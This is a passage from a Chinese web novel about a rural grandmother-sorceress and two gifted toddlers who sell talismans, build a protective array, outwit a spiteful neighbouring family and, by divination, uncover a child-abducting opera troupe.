温大娘:“……” 小娃娃成精了,还跟姥姥装起来了? 饱餐一顿,路过炸串车买了一串烤肠一串鸡排,一大两小去了符纸店。 与此同时,刚输完液的张耀祖趴在他爷爷身上,表情怨毒,“是那个老太婆,是她给我下了诅咒,让我倒霉!” 张老头怒冲冲往外走,“走!爷爷带你去找那老娘们儿算账!” 第78章 第78章零零年代乡村小神婆3 年初七,县城里人来人往热热闹闹的。 路过县城一中时,悠扬的铃声飘荡在上空,身着蓝白相间的校服学生一窝蜂涌出来,奔向街道上的小吃店面。 温苒趴在姥姥背上,瞳孔都震了震,“过年也要上学吗?” 这可不是后世,这时候的农村说起‘过年’,时间跨度足有一个月之长,从腊月二十到正月十八! 温大娘见怪不怪,“学校弄的补课,听说老师们免费上课,学生也不用掏额外的住宿费。” 白让你学谁还不肯啊? 家长抄起扫帚都得把孩子提溜过来学! 这年头的乡下人家,愿意供孩子读高中的,谁不是盼着能出个金凤凰? “学生们苦着呢。”温大娘瞥了一眼,继续带俩孩子往前走,“听说一中要求学生们每天五点起,中午都不能休息,晚上还有四节自习课,十一点多才放学。” 温苒的小脸满是恐惧,她第一次高考的时候也没这样过啊,她都是七点半起十点睡的,都觉得自己可刻苦了。 温苒哼哼唧唧,“但是睡不饱就会长不高。” 温大娘往上颠了颠小孙女,“你想长多高?能考大学谁还要长高?” 温苒:“……” 她噘着小嘴,反正她不要这么辛苦。 符纸店并不在临街的铺面里,而是藏在铺面中间犄角旮旯的小过道里。 那过道最宽不过一米,沿着台阶往下,嘈乱的热闹被隔绝在身后,湛亮的白天眨眼就蒙上一层阴翳的昏暗。 台阶走到头,已经完全听不到街上的声响,四下一片幽静,视野中出现一座荒凉的小院。 温大娘把小孙女放下来,走到院门口,站在敞开的木门前抻头叫门:“师弟!师弟!在家没?” 温苒和霍骁北都是第一次来这个地方。 温苒滴溜溜转着眼珠,好奇地四处张望。 霍骁北只粗粗瞥了两眼,就专心拽着温苒,不拽紧点她能直接溜进去。 不多时,一个清瘦高挑的男人背着手从影壁后出来,“师姐来了?我刚到一批好货,快进来瞅瞅!” 温大娘牵着俩孩子往里走,“那我可得好好看看。” 齐冰寒的视线唰一下挪到俩娃娃身上,“师姐你咋带孩子来了?” 温大娘拍拍俩孩子的后背,“这是你们师叔。” 温苒仰起脑袋,笑眯眯地喊人:“师叔过年好!” 霍骁北顿了顿,也拜了个年。 齐冰寒:“……” 得!两份压岁钱出去了! 进了屋,温苒捧上热牛奶,看着师叔唉声叹气地钻进卧室。 温大娘点完这个点那个,笑骂道:“小滑头!” 温苒低头喝牛奶,牛奶可真好喝真甜啊~ 师叔侄第一次见面,除了压岁钱还有见面礼。 齐冰寒捧着个木盒子,一脸肉疼地放下,推到俩娃娃面前。 温苒眼睛亮了亮,“盒子里的东西都给我们吗?” 齐冰寒:“……” 温苒不好意思地看她姥姥,会不会太贵重了呀? 温大娘:“……” 温大娘嘴角抽了抽,“挑一两样就行了。” 真把盒子端回去,那齐冰寒这小半辈子就白忙活了。 齐冰寒奔四的人了,听见师姐这话感动得很想哭。 温苒打开盒子,和霍骁北头碰头凑在一起,摸摸这个摸摸那个,就地商量了起来。 温大娘站起来,“带我看看你新来的好货。” 齐冰寒的店在西屋的地下,过不多时,温大娘骂骂咧咧出来,“抠门成精了!钱串子都没你能搂!” 温苒和霍骁北看过去,温大娘冷笑,“他给了你们五十块钱压岁钱,一枚阵旗要我四百块!” 算起来倒贴三百! 温苒嚯地瞪圆了眼睛,这么贵? 齐冰寒一点不好意思都没有,“这枚阵旗都能算是法器了,四百是纯白菜价!我要给市里的朋友,他们转手能卖一千!” 温苒晃了晃脑袋,这还是2004年的物价吗? 但不管一千还是四百,她们都买不起。 温大娘这次来就带了二百多块,买上两刀符纸六两朱砂就花干净了。 阵旗? 想都不要想! 可这不是小孙女喜欢么? 俩娃娃最近正在照着书研究阵法,还在家门口布了个迷魂阵,以防小偷小摸再进来偷鸡。 布阵的材料都不是啥好东西,最有用的是一张聚灵符,布置出来的阵法自然也用不了几次。 温苒眼巴巴看着齐冰寒,齐冰寒默默后退两步,“亲师门明算账,我这是小本生意,不赊账不讲价不白送!” 温苒:“……” 她在心里腹诽:抠门儿成精! 霍骁北这时出声:“我们拿东西和你换。” 齐冰寒乐了,“你们能有啥好东西?” 他还不知道他这师姐么? 天资一般,命格本就聚不了财,还应了五弊三缺里的‘毋多财’,要不是道行不高,恐怕饭都要吃不上了! 他师姐这命,要是普通人最合适经商一途,财来财去的倒是一辈子吃穿不愁,偏偏入了玄学一道。 齐冰寒敢断言,她师姐手上绝对超不出五百块钱! 温苒斜斜盯着他,心想今天就让你见识见识。 注意到她的视线,齐冰寒更乐了,这娃娃成精了不是? 温苒转身在霍骁北背着的包里掏啊掏,掏了半天终于掏出一把符箓,用力拍在桌上。 看到这么些符箓,温大娘想起来了,对啊,她们今天来还有个事的?! 温大娘咧着嘴拿起一张符,符纸被叠成了三角形,揣兜里正合适。 她扭头,对着一脸震惊的齐冰寒得意道:“快来瞅瞅,哎呀你瞧我这记性,都忘了跟你说,我家这俩娃娃有点儿天分,画符还挺厉害!” 齐冰寒不敢相信自己看到了什么,更不敢相信自己听到了什么。 什么玩意? 这么多符箓?全是俩娃娃画的? 就这,师 姐你怎么敢说只有‘一点’天分的? 齐冰寒精神恍惚地数了一遍又一遍,才数清楚差不多有三十张,种类齐全品质优秀,有普通人用的除病符平安符清神符,也有玄门中有道行的天师才能用的天雷符阳火符。 齐冰寒吞了吞口水,“都换阵旗啊?” 温大娘一巴掌抽过去,齐冰寒捂着手臂躲开,“师姐你谋财害命啊?” 温大娘翻白眼,“我们换一部分,再寄卖一部分,寄卖的符箓一枚给你十块。” 齐冰寒一听就觉得,这生意能做。 乡下地界,虽说离长京不远,但能耐人真没几个,这个品阶的符箓够使了,最重要的是量大管饱。 十枚符咒换了一枚阵旗和两把小桃木剑。 桃木剑只有温苒的手掌大小,拿到手她就和霍骁北一人一枚挂在脖子上。 齐冰寒故作大方道:“这可是上好的雷击木,外面想寻都寻不到,白搭给你们了,后头画了符箓再送来就行。” 温苒拍拍胸口,眼睛一抬,静静看着这个厚脸皮的老师叔,骗小孩儿呢? 齐冰寒:“……” 他真觉得师姐这小外孙女成精了。 他说了实话,“好吧好吧,雷击木确实难得,但块头太小我就雕成了桃木剑,好东西嘛不能太便宜,所以标价太贵没人买。” 主要买回去能干啥? 天师买桃木剑是为了抓鬼,普通人防身买护身符就够了,花大几千买个小木剑不合算。 包袱满满地离开符纸店,温大娘低头看着俩小孩儿,“你师叔给了三百块钱定金,要不,咱去超市转转?” 温苒眼睛一亮,用力点头,“要!” 山陵县别看不大,县里也不富裕,但撑门面的真不少。 东西各一家大饭店,据说一顿席面不下二百块。 县北有一处商场,地下超市里的商品琳琅满目。 祖孙俩进了超市就跟鱼入大海一样,见了什么都往车里扔。 霍骁北:“……” 最后结账出去一百三十九块,拿了五根棒棒糖凑个整,一百四十块,好几大袋子沉甸甸的。 温大娘犯了愁,温苒抿着棒棒糖掏出三枚符箓,给自己给霍骁北还有那些塑料袋都贴上,然后仰头伸手:“姥姥,抱!” 温大娘:“……” 一枚轻身符齐冰寒那死抠门能卖出八十块钱,她们这转眼就用了二百四十块钱! 饶是温大娘花钱大手大脚的,看了也一阵肉疼。 算了…… 不用这个,她们仨今天还不知道咋回呢? 于是温大娘两只手臂挂满袋子,再一手抱起一个孩子,飞奔向路口公交站点。 ——霍骁北虽然严肃拒绝,但依旧被抱起来。 好悬赶上了最后一班车,下车后,三人慢悠悠往家里走。 温大娘说道:“再过几天就是乡里的庙会,不晓得那戏班子能不能多留几天?” 温苒停下蹦蹦跳跳,仰头问:“庙会上有肉丝面吗?” 温大娘:“……” 温大娘换了只手拿东西,撸了把小女娃的辫子,“你就知道吃?有!等人少了我就带你们去吃!” 路过大磨房,见着一大两小,唠嗑的婶娘们又是赶忙招手,“哟哟哟原来婶子进城了?您可算是回来了!” 温大娘脚步不由自主挪过去,“又发生了啥事儿?” 凑堆儿的大娘们闻言,噗嗤噗嗤地笑出来,这一笑就很有停不下来的意思。 急得温大娘直跺脚。 温苒侧目,这下您可算是明白我昨天的心情了。 到底怎么个事,看她们笑了半天,才消停下来七嘴八舌开始讲述。 “就今天晌午那会儿,张家那扫把星从卫生所出来,爷孙俩刚到家门口就吆喝人。” “我还当发生什么事了,正想叫我家男人出来帮忙,就见他们一家老小,除了病得不轻的张大娘,抄起东西风风火火去了你家。” 温大娘疑惑,“我家?干我家啥事?” “嗐!我们起先也不知道呢,后来路上问出来了,他们是去找婶子你算账的,说扫把星倒霉是被您诅咒了!” 温大娘:“……” 温大娘眉毛倒竖,“造谣一张嘴,凭他空口白牙就敢污蔑我?我看他家日子是太好过了!” 温苒掐指一算,很好,家门口的阵法发挥了光和热,已经退休了。 婶子们还在讲: “我们也纳闷啊,婶子你性子是爆了点,但一向是别人不犯你你也不理别人的,他张家那点破事您平时都当笑话听的,可不会真放心里当个事。” 温大娘点头,“小芳,你懂婶子。” 小芳是个年轻媳妇儿,闻言笑了笑,“那可不,我娘以前就跟您要好,她没啥心眼儿,也就您才不坑她!” 她继续说:“后来我们一路跟到您家门口,然后那张家人就跟撞了邪似的,哭天喊娘地跪地求饶。” 张老头一把鼻子一把泪,“大妹子你饶了我吧!我再也不敢往出说你的坏话了!你看不上我是应该的,我大字不识我长得寒碜,哪有知青有文化有模样啊?我也不敢再说你男人丢下你跑了,他就是命短!” 听着大家的复述,温大娘额头青筋直跳,什么玩意命短? 张老头的儿子跪地磕头,磕得头破血流,“阎王爷您饶了我吧!我再也不敢偷粮食偷小卖铺了!我再也不敢了!” 这话一出,围观的百姓里立马蹿出几个来,揪着他就一顿乱揍。 “好哇!原来我家的粮食是你偷的?你还赖我故意找茬儿?” 张老头的儿媳执迷不悟,“我就是打了怎么着?她一个丫头片子还敢跟耀祖抢鸡蛋吃?我打死她活该!” 张耀祖则浑身抽搐冒冷汗,嘴里喊着‘我不是扫把星我是主角’抱头逃窜。 “好像还说什么细、细桶?是这个吧?学吧细桶?”小芳不确定地回想。 温苒和霍骁北对视一眼,没跑了,昨天的黑木头就是从学霸系统那里弄的。 也是奇了怪了,学霸系统你不给点书本试卷,你给这么邪恶的东西? 看来这个学霸系统也不是什么好玩意。 她们还有东西,就没多留。 回到家,家门口的阵法消失得一干二净,用作阵眼的符咒化成了一堆白灰。 唉,这种阵法就是不禁用。 温大娘把东西放下,出来门口看着俩小孩儿,“那你们研究研究怎么布阵,我去做饭,炖个红烧肉炒个醋溜白菜,再把买的香肠切一盘拌进凉菜里。” 温苒吸溜了下口水,重重点头,“嗯嗯!” 吃完饭,街上的人家过来串门儿。 “可惜喽,大妹子你没瞅见,他们张家人办的事真寒碜!” 温大娘嘴角挂着微笑,那不还是自找的? 她是个半吊子天师,乡下地方叫神婆,好些人家忌讳这个,她到了年纪几乎没人来上门提亲。 结果张家那穷得喝西北风的人家,他家小子娶不上媳妇儿,就打上了她的主意,还敢上来就要东要西的。 她难道什么人都能瞧上不成? 她转头找了个男知青,还是入赘,把那时候的张老头气个半死。 张家老头恼羞成怒,闹死闹活的,逼着爹娘四处借钱娶了个女知青,也就是现在的张大娘。 她生了个女儿,张大娘生了个儿子,张老头嘚瑟到她跟前来。 她男人没了,张老头就想摸黑爬墙。 她女儿生了小外孙女,被婆家白眼,还闹起了离婚,张老头那会儿天天来家门口转悠。 就这种人,他能得好才怪? 他张家原先一贫如洗,后来好过,一是因为张大娘的嫁妆,二是因为他家的小孙女,也就是张耀祖的姐姐命格好。 结果这俩被张耀祖的扫把星命给压得死死的,就照张老头和他儿子儿媳那重男轻女的态度,这辈子张家别想发达! 温苒和霍骁北连夜布了个升级版阵法,阵眼是从齐冰寒那里换来的阵旗。 新阵法更加坚固,范围更大,功能也更多,还具有自我修复功能,轻易不会报废。 布阵耗费精力,布完阵温苒脑袋一歪,就睡了过去。 霍骁北坚持着不合眼,并且坚持自己走回去,自己洗漱。 温大娘给小孙女擦完脸和脚,转头就见另一个趴在半扯开的被子上睡着了。 她摇头失笑,“这孩子。” 阵法不知不觉生效,灵气从四面八方汇聚在小院里。 香椿树晃了晃枝桠,冒出点点绿意。 鸡笼里,受惊过度的两只母鸡渐渐放松下来,噗噗噗噗噗连下五颗蛋。 翌日,在温大娘独自用过午饭后,霍骁北才穿好衣服出来。 温大娘从卧室 门口探出脑袋来,“醒了?灶上焖着饼和菜,锅里有粥。” 霍骁北道了声谢,兑水洗漱。 温大娘则起身进了西屋,看看她小孙女醒了没。 温苒显然很能睡,两只小拳头握紧了,举在脸颊边,睡得脸蛋红扑扑的。 被子刚掖过,温大娘看了眼就出来,“今天听不成戏了。” 霍骁北摆上饭,抿了口粥,“奶奶你可以找其他婶子们去看,我在家照顾妹妹。” 温大娘在对面坐下,“算了,我没啥心思,我昨天梦见你姑姑了?” 霍骁北反应了下,知道她说的姑姑正是温苒亲妈。 说来也是惨,温苒今年三岁出头,往前数两年,温苒的母亲温怡出门打工,结果没多久就碰到了流感,至今还没回过家。 霍骁北有个亲小叔,霍正国的弟弟霍正文,也在外边打工,这两年也是没能回过家。 照他和温苒俩人的年纪,不管这俩人后面谁回来,都够呛能认出来。 霍骁北问道:“是梦见坏事了?” 温大娘用力抿了抿嘴,“反正不是啥好事。” 她是个天师,虽然是个半吊子,但迷信是刻进骨子里的,所以梦见不好的事总爱多想。 温大娘平时也难有个说这种事的人,孩子这一问,她倒是打开了话匣子。 “你小师叔,就昨天城里那个,他师父是我爹的师弟,是个正经入了门的天师。” “小苒苒她娘出生时,我这位师叔给算了一卦,说我这女儿最好是跟我分开,长大了离家出去打拼,以后肯定能出人头地,不然不是她克我就是我克她。” “他还说,我这女儿吧,感情上十分不顺利,遇人不淑是常有的,偏偏我这女儿的命不适合单着,就得有个伴儿才行。” 霍骁北:“……” 温大娘压低了声音,脸上满是担忧,“我就怕,怕这孩子又碰不到了不是东西的男人,那该遭老罪了!” 你说说外头现在这光景,她闺女又背井离乡的,真吃了亏可咋办? 温大娘看着五岁的小孩儿,“你看,你能给她算一卦吗?” 就像医者不自医,卦师算卦也有禁忌,除生死劫外,关系太近的一般不能算,也算不准。 温大娘和温苒都算不了,就只能霍骁北来。 霍骁北吃完饭,拿出铜钱来算了一卦,看着卦象皱起了眉。 温大娘心里一个咯噔,手心冒出了汗,“是不是不太好?” 霍骁北微微颔首,“她的命局被人干扰过,就在最近。” 温大娘蹭地弹起来,“什么?” 霍骁北马上道:“目前还没有影响,劳烦您出示姑姑的八字,我帮她把命局复原。” 温大娘两手攥在一起,“好好好,我报给你:己未……” 花了些时间,霍骁北把错乱的命局复原。 他现在还只能做到这个地步,等再深入学习,还能给对方的命格做遮掩和保护,以免再次被人扰乱。 霍骁北盯着复原的命局看了片刻,拾起铜板又起了一卦。 温大娘看得迷迷糊糊,她天资一般,算个八字还行,其他的都只能瞎猫碰死耗子。 霍骁北这卦算的是温苒的生父,对方刚出生了一个儿子,儿子命早夭,但这个儿子本不该出现在对方的命里。 换句话说,这是对方用玄学手段求来的。 求子,之后自然是保子。 温苒生父姓朱,朱家和张耀祖他娘的娘家在同一个村子。 张家先后丢了那么大脸,现在可谓是把温大娘恨到了骨子里头。 张耀祖趴在炕上,脸色惨白。 他背上有泡,不能躺,一躺就破,脓血把皮肉和衣服粘的死死的。 张老头端着温热的小米粥进来,“宝贝孙子,快趁温和喝碗粥,小米养人,把你养得聪明伶俐,等上了学考一百分!” 张耀祖嫌弃地别开脸,大过年的家家户户都飘着肉香,就他家顿顿萝卜白菜,喝顿粥都能算是大餐! “爷爷!不能就这么算了!” 他拍炕而起,刚好这时张老头端着粥碗送过来,撞到张耀祖的脑袋,粥碗打翻,洒了张耀祖满身,碗也掉在地上摔得稀碎。 张耀祖:“……” 张老头:“……” 张老头嘴里念着可惜了,蹲下来看着碎碗,“没事没事,岁岁平安。” 得亏这粥不烫,张耀祖扯过被子呼噜干净脑袋,丢到一旁,没好气道:“我现在这么倒霉都是拜那个老婆子所赐!爷爷,我们不能就这么算了!” 张老头也恨极了温大娘,“那你说,咱该咋办?那老娘们儿神神道道的,邪门得很,你现在也晓得了,咱干啥都不一定管用。” 张耀祖皱眉沉思了半天,喜上眉梢,“不直接对付她,她不是有个小外孙女么?” 他越想越觉得可以。 上辈子浑浑噩噩过了一辈子,这辈子才知道,原来世界上真有那些神神道道的法术! 世界观重置后,张耀祖回忆上辈子,越想越觉得处处有迹可循。 那老婆子的小外孙女没多久就被她生父那边抢走了,据说费了好一番劲头才抢回来。 张耀祖冲张老头招手,“爷爷,咱们这样……” 张老头附耳过去,听得眼睛一亮一亮的。 这天,张耀祖她娘风风火火回了趟娘家,没坐一会儿就说出去串门儿,结果出了门径直奔着同村的朱家去了。 第79章 第79章零零年代乡村小神婆4 朱家院门大开着,门口站了两三个媳妇儿嗑瓜子,瞧见张耀祖娘,朝她抬了抬下巴。 媳妇儿一:“你咋回来了?” 媳妇儿二:“听说你家小子掉粪坑被烫得不轻?咋烫得啊?” 媳妇儿三:“你莫不是回来借钱的吧?” 说罢,几人嗖嗖后退,警惕地戒备着张耀祖娘。 张耀祖娘两眼冒火,一群狗眼看人低的东西! 她宝贝儿子才不是什么扫把星,是文曲星下凡!等着吧!他儿子上了学肯定是第一名!以后考大学,看这些人不羡慕死她? 张耀祖娘撸起袖子,恶狠狠瞪着这几个。 几人也不是好惹的,表情发狠地挽起了袖子,乡下娘们儿谁还没干过仗? 她们狠起来,张耀祖娘反而不敢了,绕过几人一溜烟儿进了朱家的大门。 “婶子!婶子!” 听到院里的叫门声,朱老娘来到外头,看到张耀祖娘,本来就因为小孙子生病心情不好,这下更不好了。 扫把星的娘怎么来了? 朱老娘把门关上,拦住张耀祖娘不让她进屋,黑着脸语气里满是嫌弃,“你咋来了?” 张耀祖娘咬着牙才憋住火气,“我这不是听说我大侄子能见人了,过来看看。” 朱老娘心里冷哼,你个扫把星的娘来看什么?心里没点逼数,不知道自个多遭人嫌啊? 她嘴上没说,但臭烘烘的脸色相当于什么都说了。 张耀祖娘深吸气,牢记儿子的嘱咐,办正事!办正事要紧! 她脸上挤出笑来,“婶子,听说大侄子又病了?哎哟,这才满月就病了多少次了?是不是犯了小人儿啊?” 朱老娘眼神闪了闪。 张耀祖娘凑近了,压低声音:“你儿子前头那个媳妇儿,她老娘成天神神道道的,当初为了个丫头片子跟你两家闹得招笑。该不是她怀恨在心,听说你得了孙子,就故意用那些手段报复吧?” 朱老娘脸色沉了沉,没说话。 张耀祖娘一瞅有门儿,再接再厉说道:“男娃都是宝贝疙瘩,谁都想来抢,没人护着可不成!您瞧我家,我家耀祖就有他姐姐护着,平时当个端茶倒水的使唤丫头,有了大灾还能让他姐姐帮他挡……” 话音越来越低,只有两人能听到。 可这分量着实不小,硬生生在朱老娘心里砸出点动静。 甚至朱老娘比张耀祖娘想得更多。 她儿子朱胜伟命里无子,这个孙子是重金向大师求来的,本就逆天而为,看这三天两头就犯场病的架势,能活多久真不好说。 她孙子的命不好,为啥不能和别人换个好命呢? 恰巧,朱老娘就知道个现成的命格贵重的人。 ——她的大孙女。 一个丫头片子,赔钱货,要那么好的命做什么? 当姐姐就该有姐姐的样子,把好东西给弟弟不是应当的嘛? 张耀祖娘见朱老娘听进去了,乐呵呵地离开。 亲姐弟能不能挡灾她不 晓得,但她知道丫头片子长大了可以换彩礼给儿子娶媳妇儿,朱老娘就是看这个,也肯定不会放过老婆子的外孙女。 朱老娘站在门口沉思,朱胜伟出来上茅厕,“娘你咋干站在外头愣神,晚上饭捯饬了没?我记得还剩下块肉,包饺子吃吧!” 朱老娘一把抓住儿子,“先别惦记吃肉了,我跟你商量个事,你明天去酸枣村,把那个丫头片子要回来。” 朱胜伟觉得他娘疯了,“我不去!要回来做什么?养着她吃干饭的?” 话是这样说,其实他是不敢。 他前妻,他前丈母娘,母女俩都不是好惹的,论拳脚跟她们干场仗得脱层皮。 再说他前丈母娘可是十里八乡有名的神婆,惹到她算是踢到铁板了,心情不好给你扎小人你都没处去说。 朱胜伟想着,后怕地缩了缩脖子,因为那小丫头片子他可真的被下过咒,那段时间喝凉水都塞牙。 朱老娘恨铁不成钢,“你是孩子她爹,你去要谁敢不给?” 朱胜伟静静看着他娘,“你是孩子奶,要不你去要?” 朱老娘噎了噎,没好气道:“我这是为了谁?还不是为了你儿子!” 朱胜伟皱眉,“娘你有话直说。” 朱老娘先四下看了看,确认没人,才压低声音吐出两个字:“换命!” 朱胜伟惊得眉毛都要飞了,声调不由自主拔高,“和谁换?和那个丫头换?” 朱老娘连忙扯他,“哎呀你小点声,万一被那老婆子听到咋办?” 朱胜伟叫她娘这话说得浑身发毛,狂吞口水,“娘,你、你别说得这么瘆人,人又没在跟前,咋听到咱们说话的?” 朱老娘面无表情,语气幽幽:“你忘了你儿子是咋来的了?你怎么知道那老婆子没有往咱家放乱七八糟的东西?” 朱胜伟嗷一声甩开他老娘,茅厕也不去了,飞奔回屋。 朱老娘叹气,知道儿子是指望不上了。 罢了,还是她这个当娘的来吧。 这天半夜,朱老娘收拾上家里仅剩的好东西,把篮子一挎,去了隔壁村子山上的土庙里,走到门口跪下就拜。 “大师!信妇有大事相求!” 深夜,月光白惨惨,冷风寒颤颤。 低矮的土庙里,一道干瘦的人影飘出来。 粗嘎的嗓音宛如石子碰撞,“所求何事?” 看到来人,朱老娘欣喜若狂地磕了两个头,“大师,信妇想求您出手,为我孙子孙女换命!” 人影许久未动,朱老娘低垂着脑袋,心里一面泛着嘀咕担忧,一面盘算起了家当。 好半晌后,那人影才发话:“呈上八字来。” 朱老娘忙不迭递上两张八字,然后跪回去,低下头等吩咐。 她没看到,那人影在看到其中一张八字时,狂喜至好似癫狂的表情。 许久后,朱老娘听到大师发话:“本座应了,你且尽快把童女带到本座面前来。” 朱老娘心下大喜,哐哐一阵磕头,留下一篮子供奉颠颠儿下了山。 酸枣村。 温苒精神萎靡不振,休息了两天才恢复过来。 温大娘愧疚得很,“你瞧我,你才三岁,这点年纪道行再高能高到哪里去,万一再成了傻子咋办?” 温苒叉着腰,凶巴巴喊:“我才不会变成傻子!” 温大娘:“……” 她想把孩子唬住就随口一说,没成想这娃娃一丁点儿不带怕的? “行,不变傻子,长不高,变小矮子!” 温大娘说道。 温苒脸蛋鼓起来,气得直跺小脚丫。 霍骁北走过来,把老虎帽往她头顶一扣,“奶奶你去装点零食,我看着她吃饭。” 她们今天要去看戏,据说这是最后一天了,再往后恐怕只能在庙会上看。 但庙会上人多,不咋安全,温大娘不打算带俩娃娃去。 小孩子容易饿,不带点吃的垫肚子,要不了多久就闹着要回家。 今天的早饭是炸油饼,就是各种奇形怪状的‘油条’,只不过做成了饼,而不是条。 温苒别看才三岁,饭量却不小,一个人啃了两大张油饼,一个煮鸡蛋,还喝了一杯奶粉。 吃饱喝足,三人出门看戏。 路上遇到别的人,温苒和霍骁北熟练地拜年喊人,然后得一句夸奖和一把瓜子花生糖。 “你家这娃娃瞧着就机灵!” “霍家的小子看着也挺好,哎他几岁了?今年是不是该报名念书了?” 温大娘一边注意孩子,一边回道:“我孙女三岁,霍家的小孙子五岁,还不到报名的岁数。” “不到就不到呗,五岁也够了,不比那些七八岁的个子矮。他爸不是常年在外出车么,家里没个人照顾着,把孩子送学校里让老师教,这不正好?” 温大娘听了忙摇头,“这我可做不了主!” 大人们唠着闲磕,无人注意到两个矮墩墩。 温苒大眼珠一转,凑到霍骁北眼前,“我也要去!” 霍骁北:“……” 霍骁北扶着她肩膀让她站稳,“一起去。” 丢下你可还得了? 温苒笑眯眯,“他肯定也去。” 张耀祖嘛,绑了个学霸系统,他不赶紧去上学还能怎么做? 温苒伸出短短的小手指,点着下巴露出猖狂笑容。 嘿嘿! 她们两个把第一名和第二名都占了,看张耀祖还怎么装学霸? 霍骁北默默给三岁娃娃提了提围巾,灌一肚子风进去,回头又该闹肚子了。 看戏的地方是个临时搭起来的大棚,老远就能听到咿咿呀呀的曲儿声和唢呐锣鼓声,伴随着几乎要冲破大棚的喝彩,可以想见里面该有多热闹。 大棚外头也挤满了人,一群小孩儿在大人中间跑来跑去地打闹。 温大娘牵着俩孩子,在大棚外头找个地,放下马扎一人一个排排蹲坐。 温苒托着小脸,“姥姥,我们为什么不进去?” 温大娘从小书包里掏出保温杯,给俩孩子一人一杯温水,“里头人多,咱们挤不进去,我带你俩更挤不进去。” 温苒抿了口蜂蜜水,懂了,她和霍骁北是累赘。 唉,那就只能在外面听戏了。 好惨啊! 听了一会儿温苒就坚持不下去了,抱着小书包专心致志啃起了零食。 上午的戏唱完,棚里的人一窝蜂涌出来,呼朋唤友呼女唤儿。 “大壮!” “小朋!” “森森!” 父母和孩子对上号,欢欢喜喜回家吃饭。 没对上号的,开始慌了。 “森森!森森!森森快出来跟奶奶回家!” 温苒靠在姥姥身上,百无聊赖地四处张望,打眼一瞧瞧出了东西。 喊着‘森森’的老太太面相慈祥,幼时双亲无依,嫁了人才好起来,生了两儿一女个个有出息,就是晚年和小儿子离了心。 温苒掐指算了算,仰头看向姥姥,“姥姥姥姥,她孙子被拐了!” 温大娘一惊,下意识捂小孙女的嘴,眼神警惕地扫过四周,见没人听到才松了口气。 “这话可不兴吆喝!” 万一让人贩子听到了咋办? 霍骁北紧紧握住温苒的小手, 顺着她的视线看过去,用空出来的手掐算了一把。 等他算完,温大娘问他:“算出那人贩子的位置了吗?” 霍骁北:“大棚里面。” 温大娘下意识抱紧小孙女,震惊地后仰,嗓音轻飘飘的,“啥?戏班子就是人贩子?” 老太太还在找孙子,找不着孩子,怕得泪都崩出来了。 霍骁北丢下一句:“我把她叫过来。” 就起身走到老太太跟前,说了两句什么话,然后指了指这边,两人一前一后过来。 老太太看到温大娘,腿一软就跪下了,“大妹子!” 温大娘惊得弹跳起来,抱着温苒就往旁边躲,“你先起来,先起来,咱有话好好说,这地不适合咱们商量事,咱走远点再说。” 老太太忙点头,“哎,哎,大妹子我给你拎东西,你带孩子。” 一行四人结伴去了两条街以外,路边有村里人家垒的秸秆垛子,比人还高。 四个人躲在后头,霍骁北在最边上望风。 老太太姓马,马老太比温大娘大个十来岁,今年五十多。 马老太拧着手,一脸着急,“大妹子,你给我算算我家小孙子的下落,多少钱我都能给!” 温大娘摆手,“这个待会儿再说,救孩子要紧。” “你听我说,你孙子现在没在别的地儿,就在戏棚里,那个戏班子就是人贩子团伙!” 马老太跳起来,“啥?看我不撕了他们?” 她满面怒容,转身就往外走。 温大娘赶紧拽住她,“你别冲动,你听我说,你孙子还在人家手里呢。” 马老太着急得不行,“不就是个戏班子?就那点人我能让他们全和地离开我去吃大粪!” 温苒:“……” 温大娘撒开她,“那你去吧,人家偷了你的孩子能不盯着点?你现在闹出动静来,只怕戏班子溜之大吉!” 这是最后一天唱大戏,戏班子拐了孩子立时换个地儿,想找也找不着。 马老太犹豫了,收回迈出去的脚,“那、那大妹子你说咋办?我都听你的,你给我拿个主意。” 温大娘低头和小孙女对视,片刻后抬起头,“这样,你先回家和家里人说这事,等下午人多了闯戏班子的后台,抓他个人赃并获!” “到时候咱们那么多人看着,指定叫戏班子跑不了一个!” 马老太听得热血沸腾,但她最关心的还是自己孙子,抹着泪哽咽道:“那我孙子咋办?他落到人贩子手里挨打挨饿咋办?” 温大娘一挥手,“他没事,你当他是怎么被骗走的?一块棒棒糖就跟人家走了!” 马老太一听怒了,“死孩子!看找回来我不打死他!” 温大娘又道:“不过以防万一,你给我下你孙子的八字,我们派个纸人过去保护他,也监视那边的情况。” 马老太忙不迭报上孙子的八字,温苒在兜里掏吧掏吧,实则从系统里掏出一张黄色纸人来。 纸人是成年人巴掌大小,圆圆的脑袋上用朱砂点了眼睛。 温苒又掏吧掏吧,掏出自己的小毛笔,在纸人肚子上写下马老太孙子的八字。 马老太眼睛都看直了,乖乖,这么小的娃娃也懂神通? 温苒把纸人交给霍骁北,霍骁北从指尖逼出一滴血滴在纸人上。 血滴在纸上飞速蔓延,和肚子上的朱砂八字融合,变形,金光闪过,最后成了龟壳形状。 这时纸人的眼睛忽地眨了眨,接着用力舒展四肢和腰身,就像彻底活过来一般。 霍骁北低声念了句咒语,纸人郑重地点了点脑袋,跳到地上,沿着墙面一溜烟消失不见。 马老太瞅着霍骁北,“你爸爸是叫霍正国吧?” 霍骁北点了点头,“是。” 马老太眼中的惊叹和羡慕几乎要溢出来,别人家的孩子就是优秀! 不多时,马老太拽着温大娘,“大妹子你去我家,我给你拾掇一桌好菜,你再跟大家说说我孙子的事,就我自己我恐怕劝不住她们!” 她儿子就不提了,她儿媳那里她就没办法交代。 温大娘没办法,只能跟着去了一趟马家。 马家在村里的条件属于一等一的,房子推翻重盖,是簇新的二层小楼,小院里还停了两辆轿车。 进了家门,马老太先把孙子的事一说,果然马老头和小儿子儿媳就炸了。 马老头摔了个碗,“你怎么能把孩子丢了?” 小儿子急得跳脚,“娘你多大岁数了?看戏重要还是孙子重要你不知道啊?” 小儿媳拿上衣服就往外走,“现在不是问罪的时间,森森丢了我们得赶紧去找!” 其他人一听,纷纷动起来。 马老太连忙把人拦住,“哎呀你们听我说,孩子现在没事,森森现在——” 小儿媳一把甩开她,黑着脸吼道:“妈,我现在只想找到孩子我不想跟你吵!” 温大娘不得不站出来,“孩子确实没事,我们算出来,孩子现在在戏棚的后台,那个戏班子是人贩子团伙,就是他们拐了你家森森。” 小儿媳脸色更难看,她是不信这些神神鬼鬼的,她觉得那些算命大师都是骗人的,她二话不说,拉着脸就往外走。 倒是马老头给小儿子发话:“拦住你媳妇儿!” 小儿子也二话不说,把快到院门口的媳妇儿强行抱回来。 “马兆兴我跟你没完!” 一声吼之后,马兆兴脸上多了道爪子印,还滋啦冒血的那种。 